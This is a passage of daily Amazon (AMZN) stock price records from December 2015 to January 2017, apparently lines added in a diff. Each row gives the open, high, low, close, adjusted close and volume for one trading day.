+2015-12-15,665.030029296875,671.5,657.3499755859375,658.6400146484375,658.6400146484375,4753400,AMZN
+2015-12-16,663.5599975585938,677.3499755859375,659.3200073242188,675.77001953125,675.77001953125,3964500,AMZN
+2015-12-17,680.0,682.5,670.6500244140625,670.6500244140625,670.6500244140625,3681600,AMZN
+2015-12-18,668.6500244140625,676.8400268554688,664.1300048828125,664.1400146484375,664.1400146484375,6841300,AMZN
+2015-12-21,668.5,669.9000244140625,658.9299926757812,664.510009765625,664.510009765625,3250900,AMZN
+2015-12-22,666.8300170898438,668.489990234375,659.260009765625,663.1500244140625,663.1500244140625,2667800,AMZN
+2015-12-23,666.5,666.5999755859375,656.6300048828125,663.7000122070312,663.7000122070312,2722900,AMZN
+2015-12-24,663.3499755859375,664.6799926757812,660.5999755859375,662.7899780273438,662.7899780273438,1091200,AMZN
+2015-12-28,665.5599975585938,675.5,665.5,675.2000122070312,675.2000122070312,3783600,AMZN
+2015-12-29,677.97998046875,696.4400024414062,677.8900146484375,693.969970703125,693.969970703125,5735000,AMZN
+2015-12-30,691.8900146484375,695.489990234375,686.3800048828125,689.0700073242188,689.0700073242188,3519000,AMZN
+2015-12-31,686.0800170898438,687.75,675.8900146484375,675.8900146484375,675.8900146484375,3749600,AMZN
+2016-01-04,656.2899780273438,657.719970703125,627.510009765625,636.989990234375,636.989990234375,9314500,AMZN
+2016-01-05,646.8599853515625,646.9099731445312,627.6500244140625,633.7899780273438,633.7899780273438,5822600,AMZN
+2016-01-06,622.0,639.7899780273438,620.3099975585938,632.6500244140625,632.6500244140625,5329200,AMZN
+2016-01-07,621.7999877929688,630.0,605.2100219726562,607.9400024414062,607.9400024414062,7074900,AMZN
+2016-01-08,619.6599731445312,624.1400146484375,606.0,607.0499877929688,607.0499877929688,5512900,AMZN
+2016-01-11,612.47998046875,619.8499755859375,598.5700073242188,617.739990234375,617.739990234375,4891600,AMZN
+2016-01-12,625.25,625.989990234375,612.239990234375,617.8900146484375,617.8900146484375,4724100,AMZN
+2016-01-13,620.8800048828125,620.8800048828125,579.1599731445312,581.8099975585938,581.8099975585938,7655200,AMZN
+2016-01-14,580.25,602.25,569.8800048828125,593.0,593.0,7238000,AMZN
+2016-01-15,572.239990234375,584.6199951171875,565.2999877929688,570.1799926757812,570.1799926757812,7784500,AMZN
+2016-01-19,577.0900268554688,584.0,566.4500122070312,574.47998046875,574.47998046875,4807200,AMZN
+2016-01-20,564.3599853515625,578.4500122070312,547.1799926757812,571.77001953125,571.77001953125,7966400,AMZN
+2016-01-21,573.5800170898438,588.8099975585938,568.219970703125,575.02001953125,575.02001953125,4952200,AMZN
+2016-01-22,588.72998046875,600.0999755859375,584.1099853515625,596.3800048828125,596.3800048828125,5120100,AMZN
+2016-01-25,597.989990234375,608.5,594.5599975585938,596.530029296875,596.530029296875,4396100,AMZN
+2016-01-26,603.4500122070312,604.5,590.3800048828125,601.25,601.25,3765700,AMZN
+2016-01-27,601.989990234375,603.3900146484375,578.780029296875,583.3499755859375,583.3499755859375,5152900,AMZN
+2016-01-28,608.3699951171875,638.0599975585938,597.5499877929688,635.3499755859375,635.3499755859375,14015200,AMZN
+2016-01-29,571.97998046875,593.0,570.0,587.0,587.0,14677600,AMZN
+2016-02-01,578.1500244140625,581.7999877929688,570.3099975585938,574.8099975585938,574.8099975585938,6355100,AMZN
+2016-02-02,570.0,571.5599975585938,550.0900268554688,552.0999755859375,552.0999755859375,6312000,AMZN
+2016-02-03,553.5,556.0,521.9000244140625,531.0700073242188,531.0700073242188,10048700,AMZN
+2016-02-04,525.0,538.989990234375,519.219970703125,536.260009765625,536.260009765625,6199100,AMZN
+2016-02-05,529.280029296875,529.4500122070312,499.19000244140625,502.1300048828125,502.1300048828125,9708900,AMZN
+2016-02-08,486.4700012207031,493.5,475.2099914550781,488.1000061035156,488.1000061035156,9825500,AMZN
+2016-02-09,478.010009765625,498.3800048828125,474.0,482.07000732421875,482.07000732421875,7077900,AMZN
+2016-02-10,491.760009765625,504.6600036621094,486.0,490.4800109863281,490.4800109863281,6786200,AMZN
+2016-02-11,491.1700134277344,509.29998779296875,484.0,503.82000732421875,503.82000732421875,7397400,AMZN
+2016-02-12,510.70001220703125,516.75,501.489990234375,507.0799865722656,507.0799865722656,5384800,AMZN
+2016-02-16,519.47998046875,524.4500122070312,511.6600036621094,521.0999755859375,521.0999755859375,5118500,AMZN
+2016-02-17,528.739990234375,537.47998046875,519.3900146484375,534.0999755859375,534.0999755859375,4824000,AMZN
+2016-02-18,541.1900024414062,541.2000122070312,523.72998046875,525.0,525.0,4735000,AMZN
+2016-02-19,520.7100219726562,535.9500122070312,515.3499755859375,534.9000244140625,534.9000244140625,4974700,AMZN
+2016-02-22,542.2000122070312,560.6500244140625,541.0800170898438,559.5,559.5,5566600,AMZN
+2016-02-23,555.5499877929688,556.9099731445312,545.3300170898438,552.9400024414062,552.9400024414062,4050800,AMZN
+2016-02-24,545.75,554.27001953125,533.1500244140625,554.0399780273438,554.0399780273438,6231700,AMZN
+2016-02-25,555.52001953125,559.3900146484375,545.2899780273438,555.1500244140625,555.1500244140625,4525500,AMZN
+2016-02-26,560.1199951171875,562.5,553.1699829101562,555.22998046875,555.22998046875,4877000,AMZN
+2016-02-29,554.0,564.8099975585938,552.510009765625,552.52001953125,552.52001953125,4145400,AMZN
+2016-03-01,556.2899780273438,579.25,556.0,579.0399780273438,579.0399780273438,5038500,AMZN
+2016-03-02,581.75,585.0,573.7000122070312,580.2100219726562,580.2100219726562,4582200,AMZN
+2016-03-03,577.9600219726562,579.8699951171875,573.1099853515625,577.489990234375,577.489990234375,2741300,AMZN
+2016-03-04,581.0700073242188,581.4000244140625,571.0700073242188,575.1400146484375,575.1400146484375,3416500,AMZN
+2016-03-07,573.5399780273438,573.6300048828125,555.5499877929688,562.7999877929688,562.7999877929688,4926900,AMZN
+2016-03-08,557.8699951171875,571.3499755859375,554.739990234375,560.260009765625,560.260009765625,4730000,AMZN
+2016-03-09,559.5599975585938,560.3499755859375,550.1300048828125,559.469970703125,559.469970703125,4377300,AMZN
+2016-03-10,566.739990234375,567.0,547.9000244140625,558.9299926757812,558.9299926757812,3919900,AMZN
+2016-03-11,566.9500122070312,570.0599975585938,562.72998046875,569.6099853515625,569.6099853515625,3771300,AMZN
+2016-03-14,567.0,576.8900146484375,563.0499877929688,573.3699951171875,573.3699951171875,3454200,AMZN
+2016-03-15,571.0,581.52001953125,567.0,577.02001953125,577.02001953125,3876800,AMZN
+2016-03-16,576.6400146484375,581.3200073242188,571.1400146484375,574.27001953125,574.27001953125,3537700,AMZN
+2016-03-17,569.510009765625,571.4000244140625,555.010009765625,559.4400024414062,559.4400024414062,5928100,AMZN
+2016-03-18,560.9400024414062,562.3300170898438,546.0900268554688,552.0800170898438,552.0800170898438,7296900,AMZN
+2016-03-21,548.9099731445312,555.239990234375,538.5800170898438,553.97998046875,553.97998046875,5155700,AMZN
+2016-03-22,545.1099853515625,562.760009765625,545.0499877929688,560.47998046875,560.47998046875,4000600,AMZN
+2016-03-23,561.0,572.47998046875,558.0999755859375,569.6300048828125,569.6300048828125,3983700,AMZN
+2016-03-24,567.1099853515625,583.5499877929688,567.0800170898438,582.9500122070312,582.9500122070312,5185500,AMZN
+2016-03-28,584.4000244140625,584.75,575.5599975585938,579.8699951171875,579.8699951171875,3121500,AMZN
+2016-03-29,580.1500244140625,595.8499755859375,576.5,593.8599853515625,593.8599853515625,4392600,AMZN
+2016-03-30,596.7100219726562,603.239990234375,595.0,598.6900024414062,598.6900024414062,3890500,AMZN
+2016-03-31,599.280029296875,600.75,592.2100219726562,593.6400146484375,593.6400146484375,2681800,AMZN
+2016-04-01,590.489990234375,599.030029296875,588.2999877929688,598.5,598.5,2917400,AMZN
+2016-04-04,599.0,599.5,590.5499877929688,593.1900024414062,593.1900024414062,2470800,AMZN
+2016-04-05,590.77001953125,593.469970703125,585.25,586.1400146484375,586.1400146484375,2308900,AMZN
+2016-04-06,587.52001953125,602.3900146484375,587.5,602.0800170898438,602.0800170898438,2849900,AMZN
+2016-04-07,598.760009765625,599.5999755859375,589.0800170898438,591.4299926757812,591.4299926757812,3189000,AMZN
+2016-04-08,594.3200073242188,597.8599853515625,589.0,594.5999755859375,594.5999755859375,2591900,AMZN
+2016-04-11,596.1400146484375,604.0,594.9099731445312,595.9299926757812,595.9299926757812,2704300,AMZN
+2016-04-12,598.4000244140625,604.0599975585938,592.3099975585938,603.1699829101562,603.1699829101562,2641100,AMZN
+2016-04-13,607.6799926757812,616.8099975585938,605.2899780273438,614.8200073242188,614.8200073242188,4228300,AMZN
+2016-04-14,615.0700073242188,624.3800048828125,615.0700073242188,620.75,620.75,3512100,AMZN
+2016-04-15,621.9199829101562,626.77001953125,618.1099853515625,625.8900146484375,625.8900146484375,2887700,AMZN
+2016-04-18,625.3499755859375,637.6400146484375,624.9600219726562,635.3499755859375,635.3499755859375,4360900,AMZN
+2016-04-19,637.1400146484375,638.010009765625,620.7999877929688,627.9000244140625,627.9000244140625,4055900,AMZN
+2016-04-20,630.0,636.5499877929688,623.0,632.989990234375,632.989990234375,2609400,AMZN
+2016-04-21,631.0,637.8200073242188,628.5,631.0,631.0,2596300,AMZN
+2016-04-22,624.469970703125,628.25,611.5599975585938,620.5,620.5,5083900,AMZN
+2016-04-25,616.6099853515625,626.97998046875,616.25,626.2000122070312,626.2000122070312,2682900,AMZN
+2016-04-26,626.1699829101562,626.75,614.8800048828125,616.8800048828125,616.8800048828125,2521400,AMZN
+2016-04-27,611.7999877929688,615.9500122070312,601.280029296875,606.5700073242188,606.5700073242188,4068800,AMZN
+2016-04-28,615.5399780273438,626.7999877929688,599.2000122070312,602.0,602.0,7872600,AMZN
+2016-04-29,666.0,669.97998046875,654.0,659.5900268554688,659.5900268554688,10310700,AMZN
+2016-05-02,663.9199829101562,685.5,662.030029296875,683.8499755859375,683.8499755859375,6578500,AMZN
+2016-05-03,677.3599853515625,680.2999877929688,670.4299926757812,671.3200073242188,671.3200073242188,4923400,AMZN
+2016-05-04,662.5900268554688,674.0,662.1400146484375,670.9000244140625,670.9000244140625,4635500,AMZN
+2016-05-05,673.3099975585938,676.489990234375,656.0,659.0900268554688,659.0900268554688,4884100,AMZN
+2016-05-06,656.0499877929688,676.9500122070312,656.010009765625,673.9500122070312,673.9500122070312,4365300,AMZN
+2016-05-09,673.9500122070312,686.97998046875,671.4099731445312,679.75,679.75,3982200,AMZN
+2016-05-10,694.0,704.5499877929688,693.5,703.0700073242188,703.0700073242188,6105600,AMZN
+2016-05-11,705.7899780273438,719.0,701.6500244140625,713.22998046875,713.22998046875,7338200,AMZN
+2016-05-12,717.3800048828125,722.4500122070312,711.510009765625,717.9299926757812,717.9299926757812,5048200,AMZN
+2016-05-13,714.6400146484375,719.25,706.510009765625,709.9199829101562,709.9199829101562,4763400,AMZN
+2016-05-16,710.1300048828125,713.25,700.280029296875,710.6599731445312,710.6599731445312,5432900,AMZN
+2016-05-17,709.9000244140625,714.469970703125,693.9099731445312,695.27001953125,695.27001953125,5121400,AMZN
+2016-05-18,689.5599975585938,702.5399780273438,688.760009765625,697.4500122070312,697.4500122070312,4283200,AMZN
+2016-05-19,691.8800048828125,699.4000244140625,689.5599975585938,698.52001953125,698.52001953125,3025600,AMZN
+2016-05-20,701.0499877929688,707.239990234375,700.0,702.7999877929688,702.7999877929688,2916200,AMZN
+2016-05-23,704.25,706.0,696.4199829101562,696.75,696.75,2595100,AMZN
+2016-05-24,698.010009765625,707.5,698.0,704.2000122070312,704.2000122070312,3033800,AMZN
+2016-05-25,708.0,710.8599853515625,705.52001953125,708.3499755859375,708.3499755859375,3267700,AMZN
+2016-05-26,708.3300170898438,715.0,707.2899780273438,714.9099731445312,714.9099731445312,2446700,AMZN
+2016-05-27,715.0,716.5999755859375,711.0999755859375,712.239990234375,712.239990234375,2249200,AMZN
+2016-05-31,712.3300170898438,724.22998046875,711.3200073242188,722.7899780273438,722.7899780273438,3618300,AMZN
+2016-06-01,720.9000244140625,726.4299926757812,718.219970703125,719.4400024414062,719.4400024414062,3263100,AMZN
+2016-06-02,720.969970703125,728.280029296875,715.5,728.239990234375,728.239990234375,3026600,AMZN
+2016-06-03,726.739990234375,727.0,718.4299926757812,725.5399780273438,725.5399780273438,3367300,AMZN
+2016-06-06,726.5,731.5,724.4199829101562,726.72998046875,726.72998046875,2704800,AMZN
+2016-06-07,729.8900146484375,730.0,720.5499877929688,723.739990234375,723.739990234375,2732500,AMZN
+2016-06-08,726.4000244140625,729.4199829101562,721.5999755859375,726.6400146484375,726.6400146484375,2223400,AMZN
+2016-06-09,723.0999755859375,728.9099731445312,722.2999877929688,727.6500244140625,727.6500244140625,2170300,AMZN
+2016-06-10,722.3499755859375,724.97998046875,714.2100219726562,717.9099731445312,717.9099731445312,3425700,AMZN
+2016-06-13,714.010009765625,721.989990234375,711.1599731445312,715.239990234375,715.239990234375,3352200,AMZN
+2016-06-14,712.3300170898438,720.8099975585938,712.27001953125,719.2999877929688,719.2999877929688,2506900,AMZN
+2016-06-15,722.0,722.5599975585938,713.3499755859375,714.260009765625,714.260009765625,2709400,AMZN
+2016-06-16,712.0499877929688,718.0,705.2999877929688,717.510009765625,717.510009765625,3098000,AMZN
+2016-06-17,718.1900024414062,718.2000122070312,699.1799926757812,706.3900146484375,706.3900146484375,5897800,AMZN
+2016-06-20,713.5,721.3099975585938,710.8099975585938,714.010009765625,714.010009765625,3677200,AMZN
+2016-06-21,715.719970703125,718.4000244140625,712.719970703125,715.8200073242188,715.8200073242188,2137500,AMZN
+2016-06-22,716.5800170898438,717.0,707.5700073242188,710.5999755859375,710.5999755859375,2260500,AMZN
+2016-06-23,715.5,722.1199951171875,712.5,722.0800170898438,722.0800170898438,2825000,AMZN
+2016-06-24,693.0,712.530029296875,692.2000122070312,698.9600219726562,698.9600219726562,7632500,AMZN
+2016-06-27,692.010009765625,696.8200073242188,682.1199951171875,691.3599853515625,691.3599853515625,5568000,AMZN
+2016-06-28,700.0,708.0,698.1699829101562,707.9500122070312,707.9500122070312,4037000,AMZN
+2016-06-29,715.75,719.5,713.5399780273438,715.5999755859375,715.5999755859375,3070100,AMZN
+2016-06-30,717.2000122070312,719.3699951171875,712.5399780273438,715.6199951171875,715.6199951171875,2855100,AMZN
+2016-07-01,717.3200073242188,728.0,716.5399780273438,725.6799926757812,725.6799926757812,2920400,AMZN
+2016-07-05,722.7999877929688,729.5599975585938,719.6099853515625,728.0999755859375,728.0999755859375,2431400,AMZN
+2016-07-06,725.7100219726562,737.77001953125,722.5800170898438,737.6099853515625,737.6099853515625,3938200,AMZN
+2016-07-07,739.3300170898438,739.5499877929688,731.6300048828125,736.5700073242188,736.5700073242188,2945800,AMZN
+2016-07-08,740.1400146484375,746.0999755859375,738.0,745.8099975585938,745.8099975585938,3429200,AMZN
+2016-07-11,750.0,755.9000244140625,747.0,753.780029296875,753.780029296875,3195300,AMZN
+2016-07-12,756.8599853515625,757.3400268554688,740.3300170898438,748.2100219726562,748.2100219726562,5623700,AMZN
+2016-07-13,746.760009765625,756.8699951171875,741.25,742.6300048828125,742.6300048828125,4142300,AMZN
+2016-07-14,748.8599853515625,749.0399780273438,739.02001953125,741.2000122070312,741.2000122070312,2390500,AMZN
+2016-07-15,746.5499877929688,746.5499877929688,734.0499877929688,735.4400024414062,735.4400024414062,3121400,AMZN
+2016-07-18,735.489990234375,741.5999755859375,728.719970703125,736.0700073242188,736.0700073242188,2954900,AMZN
+2016-07-19,732.5,743.3300170898438,732.3099975585938,739.9500122070312,739.9500122070312,2216800,AMZN
+2016-07-20,744.0,746.25,740.7000122070312,745.719970703125,745.719970703125,2214000,AMZN
+2016-07-21,747.5,749.3599853515625,742.7899780273438,744.4299926757812,744.4299926757812,2317100,AMZN
+2016-07-22,747.7899780273438,751.280029296875,743.530029296875,744.8599853515625,744.8599853515625,2277700,AMZN
+2016-07-25,746.5499877929688,748.5,735.3499755859375,739.6099853515625,739.6099853515625,2679300,AMZN
+2016-07-26,742.7100219726562,743.1300048828125,732.75,735.5900268554688,735.5900268554688,2529700,AMZN
+2016-07-27,737.969970703125,740.9400024414062,733.8599853515625,736.6699829101562,736.6699829101562,2913100,AMZN
+2016-07-28,745.97998046875,753.3599853515625,739.7000122070312,752.6099853515625,752.6099853515625,7617600,AMZN
+2016-07-29,765.0,766.0,755.0,758.8099975585938,758.8099975585938,6777100,AMZN
+2016-08-01,759.8699951171875,770.5,757.0599975585938,767.739990234375,767.739990234375,3578200,AMZN
+2016-08-02,763.8099975585938,765.010009765625,757.02001953125,760.5800170898438,760.5800170898438,3603300,AMZN
+2016-08-03,757.0599975585938,758.8900146484375,752.25,754.6400146484375,754.6400146484375,3581500,AMZN
+2016-08-04,753.7000122070312,765.0,750.3499755859375,760.77001953125,760.77001953125,3178200,AMZN
+2016-08-05,764.8099975585938,768.469970703125,763.0900268554688,765.97998046875,765.97998046875,2704400,AMZN
+2016-08-08,766.8099975585938,767.0,761.02001953125,766.5599975585938,766.5599975585938,1986300,AMZN
+2016-08-09,767.3900146484375,772.5999755859375,766.9000244140625,768.3099975585938,768.3099975585938,1876100,AMZN
+2016-08-10,769.7999877929688,772.0999755859375,766.1900024414062,768.5599975585938,768.5599975585938,1604300,AMZN
+2016-08-11,769.9400024414062,773.75,769.1199951171875,771.239990234375,771.239990234375,2019700,AMZN
+2016-08-12,768.4600219726562,773.1500244140625,768.4199829101562,772.5599975585938,772.5599975585938,1563300,AMZN
+2016-08-15,771.9000244140625,772.0399780273438,767.7100219726562,768.489990234375,768.489990234375,2118500,AMZN
+2016-08-16,768.6199951171875,768.72998046875,763.8200073242188,764.0399780273438,764.0399780273438,1604600,AMZN
+2016-08-17,764.4099731445312,765.219970703125,759.2000122070312,764.6300048828125,764.6300048828125,1891100,AMZN
+2016-08-18,764.0,765.1699829101562,760.5999755859375,764.4600219726562,764.4600219726562,1458800,AMZN
+2016-08-19,761.9000244140625,762.489990234375,756.8900146484375,757.3099975585938,757.3099975585938,2343200,AMZN
+2016-08-22,757.5,759.8499755859375,752.0999755859375,759.47998046875,759.47998046875,1679300,AMZN
+2016-08-23,763.3099975585938,764.7000122070312,761.0,762.4500122070312,762.4500122070312,1524100,AMZN
+2016-08-24,763.0,763.4099731445312,755.3599853515625,757.25,757.25,1744100,AMZN
+2016-08-25,756.0,760.5599975585938,754.739990234375,759.219970703125,759.219970703125,1623000,AMZN
+2016-08-26,760.0499877929688,770.0,759.7999877929688,769.0,769.0,2776800,AMZN
+2016-08-29,768.719970703125,774.97998046875,768.5999755859375,771.2899780273438,771.2899780273438,2198600,AMZN
+2016-08-30,771.0499877929688,771.8400268554688,765.5599975585938,767.5800170898438,767.5800170898438,1709200,AMZN
+2016-08-31,766.5999755859375,769.6400146484375,764.0,769.1599731445312,769.1599731445312,1633800,AMZN
+2016-09-01,770.9000244140625,772.0399780273438,766.75,770.6199951171875,770.6199951171875,1792300,AMZN
+2016-09-02,774.1099853515625,776.0,771.7000122070312,772.4400024414062,772.4400024414062,2181800,AMZN
+2016-09-06,774.0399780273438,789.47998046875,770.219970703125,788.8699951171875,788.8699951171875,3719800,AMZN
+2016-09-07,789.530029296875,790.7899780273438,784.3300170898438,784.47998046875,784.47998046875,2424600,AMZN
+2016-09-08,783.8900146484375,786.5,781.4400024414062,784.0599975585938,784.0599975585938,2030500,AMZN
+2016-09-09,779.3599853515625,781.0,760.1099853515625,760.1400146484375,760.1400146484375,4257300,AMZN
+2016-09-12,757.3499755859375,772.6599731445312,756.0,771.489990234375,771.489990234375,3124700,AMZN
+2016-09-13,768.77001953125,769.8900146484375,759.0499877929688,761.010009765625,761.010009765625,3117200,AMZN
+2016-09-14,762.2000122070312,767.5,758.8499755859375,761.0900268554688,761.0900268554688,2523000,AMZN
+2016-09-15,762.0,770.8699951171875,757.5800170898438,769.6900024414062,769.6900024414062,3034000,AMZN
+2016-09-16,773.280029296875,780.4600219726562,771.6599731445312,778.52001953125,778.52001953125,5499200,AMZN
+2016-09-19,779.969970703125,781.9400024414062,771.0,775.0999755859375,775.0999755859375,2297200,AMZN
+2016-09-20,776.0,781.3699951171875,776.0,780.219970703125,780.219970703125,1937200,AMZN
+2016-09-21,783.25,790.6900024414062,779.010009765625,789.739990234375,789.739990234375,2718600,AMZN
+2016-09-22,794.27001953125,805.8900146484375,794.27001953125,804.7000122070312,804.7000122070312,4078900,AMZN
+2016-09-23,803.1300048828125,807.75,802.1199951171875,805.75,805.75,2353500,AMZN
+2016-09-26,801.7999877929688,805.9299926757812,797.1500244140625,799.1599731445312,799.1599731445312,2651400,AMZN
+2016-09-27,801.8499755859375,816.6400146484375,801.1099853515625,816.1099853515625,816.1099853515625,3819600,AMZN
+2016-09-28,818.0,830.1400146484375,817.030029296875,828.719970703125,828.719970703125,4422100,AMZN
+2016-09-29,828.260009765625,837.5,824.6300048828125,829.0499877929688,829.0499877929688,4922200,AMZN
+2016-09-30,832.6099853515625,839.9500122070312,832.4000244140625,837.3099975585938,837.3099975585938,4430600,AMZN
+2016-10-03,836.0,839.8599853515625,831.25,836.739990234375,836.739990234375,2769400,AMZN
+2016-10-04,840.9099731445312,842.3699951171875,830.260009765625,834.030029296875,834.030029296875,2950300,AMZN
+2016-10-05,838.0,845.6699829101562,836.1199951171875,844.3599853515625,844.3599853515625,3469100,AMZN
+2016-10-06,843.7000122070312,847.2100219726562,840.5999755859375,841.6599731445312,841.6599731445312,2684000,AMZN
+2016-10-07,845.7899780273438,845.9500122070312,837.4500122070312,839.4299926757812,839.4299926757812,2426200,AMZN
+2016-10-10,843.25,845.2000122070312,840.27001953125,841.7100219726562,841.7100219726562,1827100,AMZN
+2016-10-11,841.02001953125,841.2899780273438,828.3499755859375,831.0,831.0,3588200,AMZN
+2016-10-12,834.0,837.6699829101562,830.0999755859375,834.0900268554688,834.0900268554688,2380400,AMZN
+2016-10-13,829.0,831.7999877929688,821.2100219726562,829.280029296875,829.280029296875,3091400,AMZN
+2016-10-14,835.0800170898438,835.739990234375,822.9600219726562,822.9600219726562,822.9600219726562,2999800,AMZN
+2016-10-17,821.5,822.0,811.6799926757812,812.9500122070312,812.9500122070312,3361500,AMZN
+2016-10-18,822.1099853515625,823.260009765625,815.02001953125,817.6500244140625,817.6500244140625,2512500,AMZN
+2016-10-19,820.4000244140625,820.6699829101562,815.1699829101562,817.6900024414062,817.6900024414062,2090700,AMZN
+2016-10-20,813.989990234375,815.7100219726562,803.0999755859375,810.3200073242188,810.3200073242188,3152000,AMZN
+2016-10-21,809.3599853515625,819.4199829101562,809.0,818.989990234375,818.989990234375,2793000,AMZN
+2016-10-24,824.9500122070312,838.2999877929688,822.2100219726562,838.0900268554688,838.0900268554688,4060900,AMZN
+2016-10-25,839.2999877929688,843.0900268554688,833.219970703125,835.1799926757812,835.1799926757812,3248400,AMZN
+2016-10-26,832.760009765625,833.4400024414062,820.0,822.5900268554688,822.5900268554688,3998100,AMZN
+2016-10-27,831.239990234375,831.719970703125,815.4299926757812,818.3599853515625,818.3599853515625,7406400,AMZN
+2016-10-28,782.0,789.489990234375,774.6099853515625,776.3200073242188,776.3200073242188,10841100,AMZN
+2016-10-31,781.030029296875,793.7000122070312,780.1099853515625,789.8200073242188,789.8200073242188,5413300,AMZN
+2016-11-01,799.0,800.8400268554688,776.7100219726562,785.4099731445312,785.4099731445312,5305400,AMZN
+2016-11-02,783.9299926757812,784.75,763.5499877929688,765.5599975585938,765.5599975585938,5026500,AMZN
+2016-11-03,765.0499877929688,777.0,764.0,767.030029296875,767.030029296875,3872500,AMZN
+2016-11-04,762.7899780273438,766.0,753.22998046875,755.0499877929688,755.0499877929688,5122100,AMZN
+2016-11-07,771.6400146484375,787.72998046875,770.9400024414062,784.9299926757812,784.9299926757812,5984400,AMZN
+2016-11-08,784.969970703125,791.739990234375,779.0999755859375,787.75,787.75,3412600,AMZN
+2016-11-09,764.0,777.5,760.0900268554688,771.8800048828125,771.8800048828125,8562900,AMZN
+2016-11-10,778.8099975585938,778.8300170898438,717.7000122070312,742.3800048828125,742.3800048828125,12747000,AMZN
+2016-11-11,735.72998046875,743.260009765625,728.9000244140625,739.010009765625,739.010009765625,6622800,AMZN
+2016-11-14,745.510009765625,746.0,710.0999755859375,719.0700073242188,719.0700073242188,7321300,AMZN
+2016-11-15,730.0,746.780029296875,725.989990234375,743.239990234375,743.239990234375,6755800,AMZN
+2016-11-16,739.8800048828125,749.8699951171875,735.6099853515625,746.489990234375,746.489990234375,3648800,AMZN
+2016-11-17,749.3200073242188,757.5,748.0,756.4000244140625,756.4000244140625,3690100,AMZN
+2016-11-18,761.0,767.739990234375,757.6400146484375,760.1599731445312,760.1599731445312,4373400,AMZN
+2016-11-21,766.0,780.3499755859375,765.1099853515625,780.0,780.0,4614600,AMZN
+2016-11-22,788.1699829101562,792.4000244140625,781.0,785.3300170898438,785.3300170898438,5311300,AMZN
+2016-11-23,781.72998046875,781.75,773.1199951171875,780.1199951171875,780.1199951171875,3540300,AMZN
+2016-11-25,786.5,786.75,777.9000244140625,780.3699951171875,780.3699951171875,1837100,AMZN
+2016-11-28,776.989990234375,777.0,764.239990234375,766.77001953125,766.77001953125,4438800,AMZN
+2016-11-29,768.0,769.8900146484375,761.3200073242188,762.52001953125,762.52001953125,3272300,AMZN
+2016-11-30,762.0,768.0900268554688,750.25,750.5700073242188,750.5700073242188,4625900,AMZN
+2016-12-01,752.4099731445312,753.3699951171875,738.030029296875,743.6500244140625,743.6500244140625,4666000,AMZN
+2016-12-02,743.4000244140625,748.489990234375,736.7000122070312,740.3400268554688,740.3400268554688,3561300,AMZN
+2016-12-05,745.0,761.489990234375,742.0,759.3599853515625,759.3599853515625,4314700,AMZN
+2016-12-06,763.989990234375,768.239990234375,757.25,764.719970703125,764.719970703125,3794700,AMZN
+2016-12-07,764.5499877929688,770.4199829101562,755.8200073242188,770.4199829101562,770.4199829101562,3684900,AMZN
+2016-12-08,771.8699951171875,773.7899780273438,765.1900024414062,767.3300170898438,767.3300170898438,3189600,AMZN
+2016-12-09,770.0,770.25,765.3400268554688,768.6599731445312,768.6599731445312,2470900,AMZN
+2016-12-12,766.4000244140625,766.8900146484375,757.2000122070312,760.1199951171875,760.1199951171875,2963900,AMZN
+2016-12-13,764.9600219726562,782.4600219726562,762.0,774.3400268554688,774.3400268554688,5285300,AMZN
+2016-12-14,778.25,780.8599853515625,762.8099975585938,768.8200073242188,768.8200073242188,5454800,AMZN
+2016-12-15,766.280029296875,769.0999755859375,760.3099975585938,761.0,761.0,3801900,AMZN
+2016-12-16,765.0,765.1300048828125,754.0,757.77001953125,757.77001953125,4848200,AMZN
+2016-12-19,758.8900146484375,770.5,756.1599731445312,766.0,766.0,3113200,AMZN
+2016-12-20,768.6500244140625,774.3900146484375,767.7100219726562,771.219970703125,771.219970703125,2703600,AMZN
+2016-12-21,770.0,771.219970703125,765.7000122070312,770.5999755859375,770.5999755859375,2044600,AMZN
+2016-12-22,768.1199951171875,771.2100219726562,763.02001953125,766.3400268554688,766.3400268554688,2543600,AMZN
+2016-12-23,764.5499877929688,766.5,757.989990234375,760.5900268554688,760.5900268554688,1981600,AMZN
+2016-12-27,763.4000244140625,774.6500244140625,761.2000122070312,771.4000244140625,771.4000244140625,2638700,AMZN
+2016-12-28,776.25,780.0,770.5,772.1300048828125,772.1300048828125,3301000,AMZN
+2016-12-29,772.4000244140625,773.4000244140625,760.8499755859375,765.1500244140625,765.1500244140625,3158300,AMZN
+2016-12-30,766.469970703125,767.4000244140625,748.280029296875,749.8699951171875,749.8699951171875,4139400,AMZN
+2017-01-03,757.9199829101562,758.760009765625,747.7000122070312,753.6699829101562,753.6699829101562,3521100,AMZN
+2017-01-04,758.3900146484375,759.6799926757812,754.2000122070312,757.1799926757812,757.1799926757812,2510500,AMZN
+2017-01-05,761.5499877929688,782.4000244140625,760.260009765625,780.4500122070312,780.4500122070312,5830100,AMZN
+2017-01-06,782.3599853515625,799.4400024414062,778.47998046875,795.989990234375,795.989990234375,5986200,AMZN
+2017-01-09,798.0,801.77001953125,791.77001953125,796.9199829101562,796.9199829101562,3446100,AMZN
+2017-01-10,796.5999755859375,798.0,789.5399780273438,795.9000244140625,795.9000244140625,2558400,AMZN
+2017-01-11,793.6599731445312,799.5,789.510009765625,799.02001953125,799.02001953125,2992800,AMZN
+2017-01-12,800.3099975585938,814.1300048828125,799.5,813.6400146484375,813.6400146484375,4873900,AMZN
+2017-01-13,814.3200073242188,821.6500244140625,811.4000244140625,817.1400146484375,817.1400146484375,3791900,AMZN
+2017-01-17,815.7000122070312,816.0,803.4400024414062,809.719970703125,809.719970703125,3670500,AMZN
+2017-01-18,809.5,811.72998046875,804.27001953125,807.47998046875,807.47998046875,2354200,AMZN
+2017-01-19,810.0,813.510009765625,807.3200073242188,809.0399780273438,809.0399780273438,2540800,AMZN
+2017-01-20,815.280029296875,816.02001953125,806.260009765625,808.3300170898438,808.3300170898438,3376200,AMZN
+2017-01-23,806.7999877929688,818.5,805.0800170898438,817.8800048828125,817.8800048828125,2797500,AMZN
+2017-01-24,822.0,823.989990234375,814.5,822.4400024414062,822.4400024414062,2971700,AMZN
+2017-01-25,825.7899780273438,837.4199829101562,825.2899780273438,836.52001953125,836.52001953125,3922600,AMZN
+2017-01-26,835.530029296875,843.8400268554688,833.0,839.1500244140625,839.1500244140625,3586300,AMZN
+2017-01-27,839.0,839.7000122070312,829.4400024414062,835.77001953125,835.77001953125,2998700,AMZN
+2017-01-30,833.0,833.5,816.3800048828125,830.3800048828125,830.3800048828125,3747300,AMZN
+2017-01-31,823.75,826.989990234375,819.5599975585938,823.47998046875,823.47998046875,3137200,AMZN
